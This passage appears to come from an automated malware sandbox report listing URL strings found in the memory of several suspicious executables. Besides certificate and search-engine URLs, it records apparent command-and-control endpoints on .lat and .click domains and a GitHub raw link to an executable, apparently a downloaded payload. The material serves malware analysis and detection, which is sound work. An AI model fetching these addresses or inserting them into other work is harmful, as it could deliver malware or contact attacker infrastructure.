Source: EUCyhuW.exe, 00000009.00000003.2853484209.00000000037FD000.00000004.00000800.00020000.00000000.sdmp, 412ec13ac5.exe, 0000001E.00000003.3378806018.000000000397D000.00000004.00000800.00020000.00000000.sdmp, 580c9354ec.exe, 0000001F.00000003.3603169180.0000000005A83000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: EUCyhuW.exe, 00000009.00000003.2853484209.00000000037FD000.00000004.00000800.00020000.00000000.sdmp, 412ec13ac5.exe, 0000001E.00000003.3378806018.000000000397D000.00000004.00000800.00020000.00000000.sdmp, 580c9354ec.exe, 0000001F.00000003.3603169180.0000000005A83000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: skotes.exe, 00000006.00000003.4278061535.0000000005B63000.00000004.00000020.00020000.00000000.sdmp, 412ec13ac5.exe, 0000001C.00000002.3169413863.0000000000EDE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crt.sectigo.com/SectigoPublicCodeSigningCAR36.crt0#
Source: skotes.exe, 00000006.00000003.4278061535.0000000005B63000.00000004.00000020.00020000.00000000.sdmp, 412ec13ac5.exe, 0000001C.00000002.3169413863.0000000000EDE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crt.sectigo.com/SectigoPublicCodeSigningRootR46.p7c0#
Source: skotes.exe, 00000006.00000003.4278061535.0000000005B63000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000006.00000003.4278061535.0000000005B81000.00000004.00000020.00020000.00000000.sdmp, 412ec13ac5.exe, 0000001C.00000002.3169413863.0000000000EDE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crt.sectigo.com/SectigoPublicTimeStampingCAR36.crt0#
Source: skotes.exe, 00000006.00000003.4278061535.0000000005B63000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000006.00000003.4278061535.0000000005B81000.00000004.00000020.00020000.00000000.sdmp, 412ec13ac5.exe, 0000001C.00000002.3169413863.0000000000EDE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crt.sectigo.com/SectigoPublicTimeStampingRootR46.p7c0#
Source: SurveillanceWalls.exe, 0000000E.00000002.2860938966.0000000000409000.00000002.00000001.01000000.0000000B.sdmp, SurveillanceWalls.exe, 0000000E.00000000.2852400591.0000000000409000.00000002.00000001.01000000.0000000B.sdmp	String found in binary or memory: http://nsis.sf.net/NSIS_ErrorError
Source: skotes.exe, 00000006.00000003.4278061535.0000000005B63000.00000004.00000020.00020000.00000000.sdmp, 412ec13ac5.exe, 0000001C.00000002.3169413863.0000000000EDE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com0
Source: EUCyhuW.exe, 00000009.00000003.2853484209.00000000037FD000.00000004.00000800.00020000.00000000.sdmp, 412ec13ac5.exe, 0000001E.00000003.3378806018.000000000397D000.00000004.00000800.00020000.00000000.sdmp, 580c9354ec.exe, 0000001F.00000003.3603169180.0000000005A83000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: EUCyhuW.exe, 00000009.00000003.2853484209.00000000037FD000.00000004.00000800.00020000.00000000.sdmp, 412ec13ac5.exe, 0000001E.00000003.3378806018.000000000397D000.00000004.00000800.00020000.00000000.sdmp, 580c9354ec.exe, 0000001F.00000003.3603169180.0000000005A83000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: skotes.exe, 00000006.00000003.4278061535.0000000005B63000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000006.00000003.4278061535.0000000005B81000.00000004.00000020.00020000.00000000.sdmp, 412ec13ac5.exe, 0000001C.00000002.3169413863.0000000000EDE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.sectigo.com0
Source: SurveillanceWalls.exe, 0000000E.00000002.2860963000.0000000000420000.00000004.00000001.01000000.0000000B.sdmp, Sale.com, 00000018.00000000.2879703042.0000000000855000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://www.autoitscript.com/autoit3/X
Source: 580c9354ec.exe, 0000001F.00000003.3614760975.00000000011AA000.00000004.00000020.00020000.00000000.sdmp, 580c9354ec.exe, 0000001F.00000003.3572256199.00000000011AA000.00000004.00000020.00020000.00000000.sdmp, 580c9354ec.exe, 0000001F.00000003.3870761939.00000000011AA000.00000004.00000020.00020000.00000000.sdmp, 580c9354ec.exe, 0000001F.00000003.3803442222.00000000011AA000.00000004.00000020.00020000.00000000.sdmp, 580c9354ec.exe, 0000001F.00000003.3927069843.00000000011AA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.microsoft.x
Source: 9f6ea82062.exe, 00000020.00000002.4069578254.000000006C0DD000.00000002.00000001.01000000.0000001E.sdmp	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: 9f6ea82062.exe, 00000020.00000002.4047572344.0000000005794000.00000004.00000020.00020000.00000000.sdmp, 9f6ea82062.exe, 00000020.00000002.4066981270.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: EUCyhuW.exe, 00000009.00000003.2853484209.00000000037FD000.00000004.00000800.00020000.00000000.sdmp, 412ec13ac5.exe, 0000001E.00000003.3378806018.000000000397D000.00000004.00000800.00020000.00000000.sdmp, 580c9354ec.exe, 0000001F.00000003.3603169180.0000000005A83000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: EUCyhuW.exe, 00000009.00000003.2853484209.00000000037FD000.00000004.00000800.00020000.00000000.sdmp, 412ec13ac5.exe, 0000001E.00000003.3378806018.000000000397D000.00000004.00000800.00020000.00000000.sdmp, 580c9354ec.exe, 0000001F.00000003.3603169180.0000000005A83000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: EUCyhuW.exe, 00000009.00000003.2805310164.0000000003728000.00000004.00000800.00020000.00000000.sdmp, EUCyhuW.exe, 00000009.00000003.2805076562.000000000372B000.00000004.00000800.00020000.00000000.sdmp, EUCyhuW.exe, 00000009.00000003.2805196036.0000000003728000.00000004.00000800.00020000.00000000.sdmp, 412ec13ac5.exe, 0000001E.00000003.3245396945.00000000038AC000.00000004.00000800.00020000.00000000.sdmp, 412ec13ac5.exe, 0000001E.00000003.3250034677.00000000038A9000.00000004.00000800.00020000.00000000.sdmp, 412ec13ac5.exe, 0000001E.00000003.3249885987.00000000038A9000.00000004.00000800.00020000.00000000.sdmp, 580c9354ec.exe, 0000001F.00000003.3466602606.0000000005A0D000.00000004.00000800.00020000.00000000.sdmp, 580c9354ec.exe, 0000001F.00000003.3467960261.0000000005A0A000.00000004.00000800.00020000.00000000.sdmp, 580c9354ec.exe, 0000001F.00000003.3476918307.0000000005A0A000.00000004.00000800.00020000.00000000.sdmp, 9f6ea82062.exe, 00000020.00000003.3531478078.00000000009F6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: EUCyhuW.exe, 00000009.00000003.2856083987.000000000378F000.00000004.00000800.00020000.00000000.sdmp, 412ec13ac5.exe, 0000001E.00000003.3385290739.000000000390D000.00000004.00000800.00020000.00000000.sdmp, 580c9354ec.exe, 0000001F.00000003.3641823591.0000000005A5F000.00000004.00000800.00020000.00000000.sdmp, 9f6ea82062.exe, 00000020.00000002.4054758953.000000000B8E1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.
Source: EUCyhuW.exe, 00000009.00000003.2856083987.000000000378F000.00000004.00000800.00020000.00000000.sdmp, 412ec13ac5.exe, 0000001E.00000003.3385290739.000000000390D000.00000004.00000800.00020000.00000000.sdmp, 580c9354ec.exe, 0000001F.00000003.3641823591.0000000005A5F000.00000004.00000800.00020000.00000000.sdmp, 9f6ea82062.exe, 00000020.00000002.4054758953.000000000B8E1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696425136400800000.1&ci=1696425136743.12791&cta
Source: EUCyhuW.exe, 00000009.00000003.2805310164.0000000003728000.00000004.00000800.00020000.00000000.sdmp, EUCyhuW.exe, 00000009.00000003.2805076562.000000000372B000.00000004.00000800.00020000.00000000.sdmp, EUCyhuW.exe, 00000009.00000003.2805196036.0000000003728000.00000004.00000800.00020000.00000000.sdmp, 412ec13ac5.exe, 0000001E.00000003.3245396945.00000000038AC000.00000004.00000800.00020000.00000000.sdmp, 412ec13ac5.exe, 0000001E.00000003.3250034677.00000000038A9000.00000004.00000800.00020000.00000000.sdmp, 412ec13ac5.exe, 0000001E.00000003.3249885987.00000000038A9000.00000004.00000800.00020000.00000000.sdmp, 580c9354ec.exe, 0000001F.00000003.3466602606.0000000005A0D000.00000004.00000800.00020000.00000000.sdmp, 580c9354ec.exe, 0000001F.00000003.3467960261.0000000005A0A000.00000004.00000800.00020000.00000000.sdmp, 580c9354ec.exe, 0000001F.00000003.3476918307.0000000005A0A000.00000004.00000800.00020000.00000000.sdmp, 9f6ea82062.exe, 00000020.00000003.3531478078.00000000009F6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: EUCyhuW.exe, 00000009.00000003.2805310164.0000000003728000.00000004.00000800.00020000.00000000.sdmp, EUCyhuW.exe, 00000009.00000003.2805076562.000000000372B000.00000004.00000800.00020000.00000000.sdmp, EUCyhuW.exe, 00000009.00000003.2805196036.0000000003728000.00000004.00000800.00020000.00000000.sdmp, 412ec13ac5.exe, 0000001E.00000003.3245396945.00000000038AC000.00000004.00000800.00020000.00000000.sdmp, 412ec13ac5.exe, 0000001E.00000003.3250034677.00000000038A9000.00000004.00000800.00020000.00000000.sdmp, 412ec13ac5.exe, 0000001E.00000003.3249885987.00000000038A9000.00000004.00000800.00020000.00000000.sdmp, 580c9354ec.exe, 0000001F.00000003.3466602606.0000000005A0D000.00000004.00000800.00020000.00000000.sdmp, 580c9354ec.exe, 0000001F.00000003.3467960261.0000000005A0A000.00000004.00000800.00020000.00000000.sdmp, 580c9354ec.exe, 0000001F.00000003.3476918307.0000000005A0A000.00000004.00000800.00020000.00000000.sdmp, 9f6ea82062.exe, 00000020.00000003.3531478078.00000000009F6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: EUCyhuW.exe, 00000009.00000003.2805310164.0000000003728000.00000004.00000800.00020000.00000000.sdmp, EUCyhuW.exe, 00000009.00000003.2805076562.000000000372B000.00000004.00000800.00020000.00000000.sdmp, EUCyhuW.exe, 00000009.00000003.2805196036.0000000003728000.00000004.00000800.00020000.00000000.sdmp, 412ec13ac5.exe, 0000001E.00000003.3245396945.00000000038AC000.00000004.00000800.00020000.00000000.sdmp, 412ec13ac5.exe, 0000001E.00000003.3250034677.00000000038A9000.00000004.00000800.00020000.00000000.sdmp, 412ec13ac5.exe, 0000001E.00000003.3249885987.00000000038A9000.00000004.00000800.00020000.00000000.sdmp, 580c9354ec.exe, 0000001F.00000003.3466602606.0000000005A0D000.00000004.00000800.00020000.00000000.sdmp, 580c9354ec.exe, 0000001F.00000003.3467960261.0000000005A0A000.00000004.00000800.00020000.00000000.sdmp, 580c9354ec.exe, 0000001F.00000003.3476918307.0000000005A0A000.00000004.00000800.00020000.00000000.sdmp, 9f6ea82062.exe, 00000020.00000003.3531478078.00000000009F6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: EUCyhuW.exe, 00000009.00000003.2856083987.000000000378F000.00000004.00000800.00020000.00000000.sdmp, 412ec13ac5.exe, 0000001E.00000003.3385290739.000000000390D000.00000004.00000800.00020000.00000000.sdmp, 580c9354ec.exe, 0000001F.00000003.3641823591.0000000005A5F000.00000004.00000800.00020000.00000000.sdmp, 9f6ea82062.exe, 00000020.00000002.4054758953.000000000B8E1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: EUCyhuW.exe, 00000009.00000003.2856083987.000000000378F000.00000004.00000800.00020000.00000000.sdmp, 412ec13ac5.exe, 0000001E.00000003.3385290739.000000000390D000.00000004.00000800.00020000.00000000.sdmp, 580c9354ec.exe, 0000001F.00000003.3641823591.0000000005A5F000.00000004.00000800.00020000.00000000.sdmp, 9f6ea82062.exe, 00000020.00000002.4054758953.000000000B8E1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/u1AuJcj32cbVUf9NjMipLXEYwu2uFIt4lsj-ccwVqEs.36904.jpg
Source: 580c9354ec.exe, 0000001F.00000003.4358124840.0000000001215000.00000004.00000020.00020000.00000000.sdmp, 580c9354ec.exe, 0000001F.00000003.3797185380.0000000001213000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://discokeyus.lat/
Source: EUCyhuW.exe, 00000009.00000002.3138189518.0000000000EF5000.00000004.00000020.00020000.00000000.sdmp, EUCyhuW.exe, 00000009.00000003.3093948172.0000000000EF5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://discokeyus.lat/%
Source: EUCyhuW.exe, 00000009.00000003.2804303481.0000000000E97000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://discokeyus.lat/(
Source: 580c9354ec.exe, 0000001F.00000003.3535631558.0000000005A4E000.00000004.00000800.00020000.00000000.sdmp, 580c9354ec.exe, 0000001F.00000003.3535225334.0000000005A4A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://discokeyus.lat/-
Source: EUCyhuW.exe, 00000009.00000003.2804303481.0000000000E97000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://discokeyus.lat/.
Source: EUCyhuW.exe, 00000009.00000003.2852327758.0000000003784000.00000004.00000800.00020000.00000000.sdmp, EUCyhuW.exe, 00000009.00000003.2852015292.0000000003784000.00000004.00000800.00020000.00000000.sdmp, EUCyhuW.exe, 00000009.00000003.2888145590.0000000003784000.00000004.00000800.00020000.00000000.sdmp, EUCyhuW.exe, 00000009.00000003.2852833290.0000000003784000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://discokeyus.lat/90BH
Source: EUCyhuW.exe, 00000009.00000003.2828355789.0000000003773000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://discokeyus.lat/JJFf
Source: EUCyhuW.exe, 00000009.00000003.2804303481.0000000000E97000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://discokeyus.lat/Q
Source: EUCyhuW.exe, 00000009.00000003.2804303481.0000000000E97000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://discokeyus.lat/V
Source: EUCyhuW.exe, 00000009.00000003.2851829493.0000000003787000.00000004.00000800.00020000.00000000.sdmp, EUCyhuW.exe, 00000009.00000003.3093424754.0000000000F03000.00000004.00000020.00020000.00000000.sdmp, EUCyhuW.exe, 00000009.00000003.2804303481.0000000000E69000.00000004.00000020.00020000.00000000.sdmp, EUCyhuW.exe, 00000009.00000003.2804303481.0000000000E72000.00000004.00000020.00020000.00000000.sdmp, EUCyhuW.exe, 00000009.00000003.2852265070.000000000378A000.00000004.00000800.00020000.00000000.sdmp, EUCyhuW.exe, 00000009.00000003.2852327758.0000000003773000.00000004.00000800.00020000.00000000.sdmp, EUCyhuW.exe, 00000009.00000002.3138189518.0000000000F03000.00000004.00000020.00020000.00000000.sdmp, EUCyhuW.exe, 00000009.00000003.2913644011.0000000000F03000.00000004.00000020.00020000.00000000.sdmp, EUCyhuW.exe, 00000009.00000002.3138169097.0000000000EE5000.00000004.00000020.00020000.00000000.sdmp, EUCyhuW.exe, 00000009.00000003.2913722505.0000000000EA9000.00000004.00000020.00020000.00000000.sdmp, EUCyhuW.exe, 00000009.00000003.2804303481.0000000000E97000.00000004.00000020.00020000.00000000.sdmp, EUCyhuW.exe, 00000009.00000003.2878424864.0000000003791000.00000004.00000800.00020000.00000000.sdmp, EUCyhuW.exe, 00000009.00000003.3093424754.0000000000E97000.00000004.00000020.00020000.00000000.sdmp, EUCyhuW.exe, 00000009.00000003.3093948172.0000000000EE2000.00000004.00000020.00020000.00000000.sdmp, EUCyhuW.exe, 00000009.00000003.2877959925.0000000003791000.00000004.00000800.00020000.00000000.sdmp, EUCyhuW.exe, 00000009.00000003.2852015292.0000000003773000.00000004.00000800.00020000.00000000.sdmp, EUCyhuW.exe, 00000009.00000003.2930693716.0000000000F03000.00000004.00000020.00020000.00000000.sdmp, EUCyhuW.exe, 00000009.00000003.2913252442.0000000000E97000.00000004.00000020.00020000.00000000.sdmp, EUCyhuW.exe, 00000009.00000003.2852833290.0000000003773000.00000004.00000800.00020000.00000000.sdmp, 580c9354ec.exe, 0000001F.00000003.3694965286.0000000001225000.00000004.00000020.00020000.00000000.sdmp, 580c9354ec.exe, 0000001F.00000003.3614760975.00000000011AA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://discokeyus.lat/api
Source: 580c9354ec.exe, 0000001F.00000003.3694965286.0000000001225000.00000004.00000020.00020000.00000000.sdmp, 580c9354ec.exe, 0000001F.00000003.3684252207.0000000001225000.00000004.00000020.00020000.00000000.sdmp, 580c9354ec.exe, 0000001F.00000003.3763354814.0000000001224000.00000004.00000020.00020000.00000000.sdmp, 580c9354ec.exe, 0000001F.00000003.3669275426.0000000001224000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://discokeyus.lat/api/
Source: EUCyhuW.exe, 00000009.00000003.2804303481.0000000000E97000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://discokeyus.lat/apiH
Source: EUCyhuW.exe, 00000009.00000003.3093424754.0000000000F03000.00000004.00000020.00020000.00000000.sdmp, EUCyhuW.exe, 00000009.00000002.3138189518.0000000000F03000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://discokeyus.lat/apiLb
Source: 580c9354ec.exe, 0000001F.00000003.3927069843.00000000011AA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://discokeyus.lat/apij
Source: EUCyhuW.exe, 00000009.00000003.2804303481.0000000000E72000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://discokeyus.lat/apis
Source: EUCyhuW.exe, 00000009.00000003.2805310164.0000000003728000.00000004.00000800.00020000.00000000.sdmp, EUCyhuW.exe, 00000009.00000003.2805076562.000000000372B000.00000004.00000800.00020000.00000000.sdmp, EUCyhuW.exe, 00000009.00000003.2805196036.0000000003728000.00000004.00000800.00020000.00000000.sdmp, 412ec13ac5.exe, 0000001E.00000003.3245396945.00000000038AC000.00000004.00000800.00020000.00000000.sdmp, 412ec13ac5.exe, 0000001E.00000003.3250034677.00000000038A9000.00000004.00000800.00020000.00000000.sdmp, 412ec13ac5.exe, 0000001E.00000003.3249885987.00000000038A9000.00000004.00000800.00020000.00000000.sdmp, 580c9354ec.exe, 0000001F.00000003.3466602606.0000000005A0D000.00000004.00000800.00020000.00000000.sdmp, 580c9354ec.exe, 0000001F.00000003.3467960261.0000000005A0A000.00000004.00000800.00020000.00000000.sdmp, 580c9354ec.exe, 0000001F.00000003.3476918307.0000000005A0A000.00000004.00000800.00020000.00000000.sdmp, 9f6ea82062.exe, 00000020.00000003.3531478078.00000000009F6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: EUCyhuW.exe, 00000009.00000003.2805310164.0000000003728000.00000004.00000800.00020000.00000000.sdmp, EUCyhuW.exe, 00000009.00000003.2805076562.000000000372B000.00000004.00000800.00020000.00000000.sdmp, EUCyhuW.exe, 00000009.00000003.2805196036.0000000003728000.00000004.00000800.00020000.00000000.sdmp, 412ec13ac5.exe, 0000001E.00000003.3245396945.00000000038AC000.00000004.00000800.00020000.00000000.sdmp, 412ec13ac5.exe, 0000001E.00000003.3250034677.00000000038A9000.00000004.00000800.00020000.00000000.sdmp, 412ec13ac5.exe, 0000001E.00000003.3249885987.00000000038A9000.00000004.00000800.00020000.00000000.sdmp, 580c9354ec.exe, 0000001F.00000003.3466602606.0000000005A0D000.00000004.00000800.00020000.00000000.sdmp, 580c9354ec.exe, 0000001F.00000003.3467960261.0000000005A0A000.00000004.00000800.00020000.00000000.sdmp, 580c9354ec.exe, 0000001F.00000003.3476918307.0000000005A0A000.00000004.00000800.00020000.00000000.sdmp, 9f6ea82062.exe, 00000020.00000003.3531478078.00000000009F6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: EUCyhuW.exe, 00000009.00000003.2805310164.0000000003728000.00000004.00000800.00020000.00000000.sdmp, EUCyhuW.exe, 00000009.00000003.2805076562.000000000372B000.00000004.00000800.00020000.00000000.sdmp, EUCyhuW.exe, 00000009.00000003.2805196036.0000000003728000.00000004.00000800.00020000.00000000.sdmp, 412ec13ac5.exe, 0000001E.00000003.3245396945.00000000038AC000.00000004.00000800.00020000.00000000.sdmp, 412ec13ac5.exe, 0000001E.00000003.3250034677.00000000038A9000.00000004.00000800.00020000.00000000.sdmp, 412ec13ac5.exe, 0000001E.00000003.3249885987.00000000038A9000.00000004.00000800.00020000.00000000.sdmp, 580c9354ec.exe, 0000001F.00000003.3466602606.0000000005A0D000.00000004.00000800.00020000.00000000.sdmp, 580c9354ec.exe, 0000001F.00000003.3467960261.0000000005A0A000.00000004.00000800.00020000.00000000.sdmp, 580c9354ec.exe, 0000001F.00000003.3476918307.0000000005A0A000.00000004.00000800.00020000.00000000.sdmp, 9f6ea82062.exe, 00000020.00000003.3531478078.00000000009F6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: 17ce3a84e4.exe, 0000001B.00000002.4524131042.00000000014CF000.00000004.00000020.00020000.00000000.sdmp, 17ce3a84e4.exe, 0000001B.00000003.4498901768.00000000014CF000.00000004.00000020.00020000.00000000.sdmp, 17ce3a84e4.exe, 0000001B.00000003.4498901768.00000000014E9000.00000004.00000020.00020000.00000000.sdmp, 17ce3a84e4.exe, 0000001B.00000002.4524131042.00000000014E9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fieldhitty.click/
Source: 17ce3a84e4.exe, 0000001B.00000002.4524131042.00000000014E9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fieldhitty.click/api
Source: 17ce3a84e4.exe, 0000001B.00000003.4498901768.00000000014E9000.00000004.00000020.00020000.00000000.sdmp, 17ce3a84e4.exe, 0000001B.00000002.4524131042.00000000014E9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fieldhitty.click/api&
Source: 17ce3a84e4.exe, 0000001B.00000003.4488835946.00000000014C6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fieldhitty.click/api9
Source: 17ce3a84e4.exe, 0000001B.00000002.4522542200.00000000014BC000.00000004.00000020.00020000.00000000.sdmp, 17ce3a84e4.exe, 0000001B.00000003.4488835946.00000000014BC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fieldhitty.click/apii
Source: 17ce3a84e4.exe, 0000001B.00000003.4498901768.00000000014E9000.00000004.00000020.00020000.00000000.sdmp, 17ce3a84e4.exe, 0000001B.00000002.4524131042.00000000014E9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fieldhitty.click/c
Source: 17ce3a84e4.exe, 0000001B.00000002.4524131042.00000000014CF000.00000004.00000020.00020000.00000000.sdmp, 17ce3a84e4.exe, 0000001B.00000003.4498901768.00000000014CF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fieldhitty.click:443/api
Source: skotes.exe, 00000006.00000003.4278061535.0000000005BB0000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000006.00000003.4281279423.0000000005BB0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com
Source: skotes.exe, 00000006.00000003.4278061535.0000000005BB0000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000006.00000003.4281279423.0000000005BB0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Urijas/moperats/raw/refs/heads/main/biyjdfjadaw.exe
Source: 9f6ea82062.exe, 00000020.00000002.4054758953.000000000B8E1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: 412ec13ac5.exe, 0000001E.00000003.3207231180.000000000111D000.00000004.00000020.00020000.00000000.sdmp, 412ec13ac5.exe, 0000001E.00000003.3373433430.00000000038FE000.00000004.00000800.00020000.00000000.sdmp, 412ec13ac5.exe, 0000001E.00000003.3622898084.000000000111D000.00000004.00000020.00020000.00000000.sdmp, 412ec13ac5.exe, 0000001E.00000003.3298472752.00000000038E9000.00000004.00000800.00020000.00000000.sdmp, 412ec13ac5.exe, 0000001E.00000003.3551750660.000000000117D000.00000004.00000020.00020000.00000000.sdmp, 412ec13ac5.exe, 0000001E.00000003.3412770399.0000000003905000.00000004.00000800.00020000.00000000.sdmp, 412ec13ac5.exe, 0000001E.00000003.3592146204.000000000117E000.00000004.00000020.00020000.00000000.sdmp, 412ec13ac5.exe, 0000001E.00000002.3657261192.000000000111D000.00000004.00000020.00020000.00000000.sdmp, 412ec13ac5.exe, 0000001E.00000003.3412261797.00000000038FC000.00000004.00000800.00020000.00000000.sdmp, 412ec13ac5.exe, 0000001E.00000003.3298172128.00000000038E9000.00000004.00000800.00020000.00000000.sdmp, 412ec13ac5.exe, 0000001E.00000002.3658768402.000000000117E000.00000004.00000020.00020000.00000000.sdmp, 412ec13ac5.exe, 0000001E.00000003.3374828427.0000000003905000.00000004.00000800.00020000.00000000.sdmp, 412ec13ac5.exe, 0000001E.00000003.3630270875.000000000117E000.00000004.00000020.00020000.00000000.sdmp, 412ec13ac5.exe, 0000001E.00000003.3593252563.000000000111D000.00000004.00000020.00020000.00000000.sdmp, 412ec13ac5.exe, 0000001E.00000003.3548292393.0000000001176000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://pancakedipyps.click/
Source: 412ec13ac5.exe, 0000001E.00000003.3179102375.0000000001139000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://pancakedipyps.click/.
Source: 412ec13ac5.exe, 0000001E.00000003.3207422516.0000000001138000.00000004.00000020.00020000.00000000.sdmp, 412ec13ac5.exe, 0000001E.00000003.3207231180.000000000111D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://pancakedipyps.click/2
Source: 412ec13ac5.exe, 0000001E.00000003.3207422516.0000000001138000.00000004.00000020.00020000.00000000.sdmp, 412ec13ac5.exe, 0000001E.00000003.3207231180.000000000111D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://pancakedipyps.click/M
Source: 412ec13ac5.exe, 0000001E.00000003.3375729196.0000000003907000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://pancakedipyps.click/P
Source: 412ec13ac5.exe, 0000001E.00000003.3630270875.000000000118F000.00000004.00000020.00020000.00000000.sdmp, 412ec13ac5.exe, 0000001E.00000003.3207231180.000000000111D000.00000004.00000020.00020000.00000000.sdmp, 412ec13ac5.exe, 0000001E.00000003.3589106795.000000000118F000.00000004.00000020.00020000.00000000.sdmp, 412ec13ac5.exe, 0000001E.00000003.3298372606.0000000001196000.00000004.00000020.00020000.00000000.sdmp, 412ec13ac5.exe, 0000001E.00000003.3467586885.000000000118F000.00000004.00000020.00020000.00000000.sdmp, 412ec13ac5.exe, 0000001E.00000002.3658768402.000000000117E000.00000004.00000020.00020000.00000000.sdmp, 412ec13ac5.exe, 0000001E.00000003.3548508878.000000000118F000.00000004.00000020.00020000.00000000.sdmp, 412ec13ac5.exe, 0000001E.00000003.3630270875.000000000117E000.00000004.00000020.00020000.00000000.sdmp, 412ec13ac5.exe, 0000001E.00000003.3593252563.000000000111D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://pancakedipyps.click/api
Source: 412ec13ac5.exe, 0000001E.00000003.3632525311.0000000001139000.00000004.00000020.00020000.00000000.sdmp, 412ec13ac5.exe, 0000001E.00000003.3622898084.0000000001139000.00000004.00000020.00020000.00000000.sdmp, 412ec13ac5.exe, 0000001E.00000002.3658232025.0000000001139000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://pancakedipyps.click/api$
Source: 412ec13ac5.exe, 0000001E.00000003.3207422516.0000000001138000.00000004.00000020.00020000.00000000.sdmp, 412ec13ac5.exe, 0000001E.00000003.3207231180.000000000111D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://pancakedipyps.click/api-
Source: 412ec13ac5.exe, 0000001E.00000002.3659052898.000000000118F000.00000004.00000020.00020000.00000000.sdmp, 412ec13ac5.exe, 0000001E.00000003.3630270875.000000000118F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://pancakedipyps.click/apiDV
Source: 412ec13ac5.exe, 0000001E.00000002.3659052898.000000000118F000.00000004.00000020.00020000.00000000.sdmp, 412ec13ac5.exe, 0000001E.00000003.3630270875.000000000118F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://pancakedipyps.click/apiIV
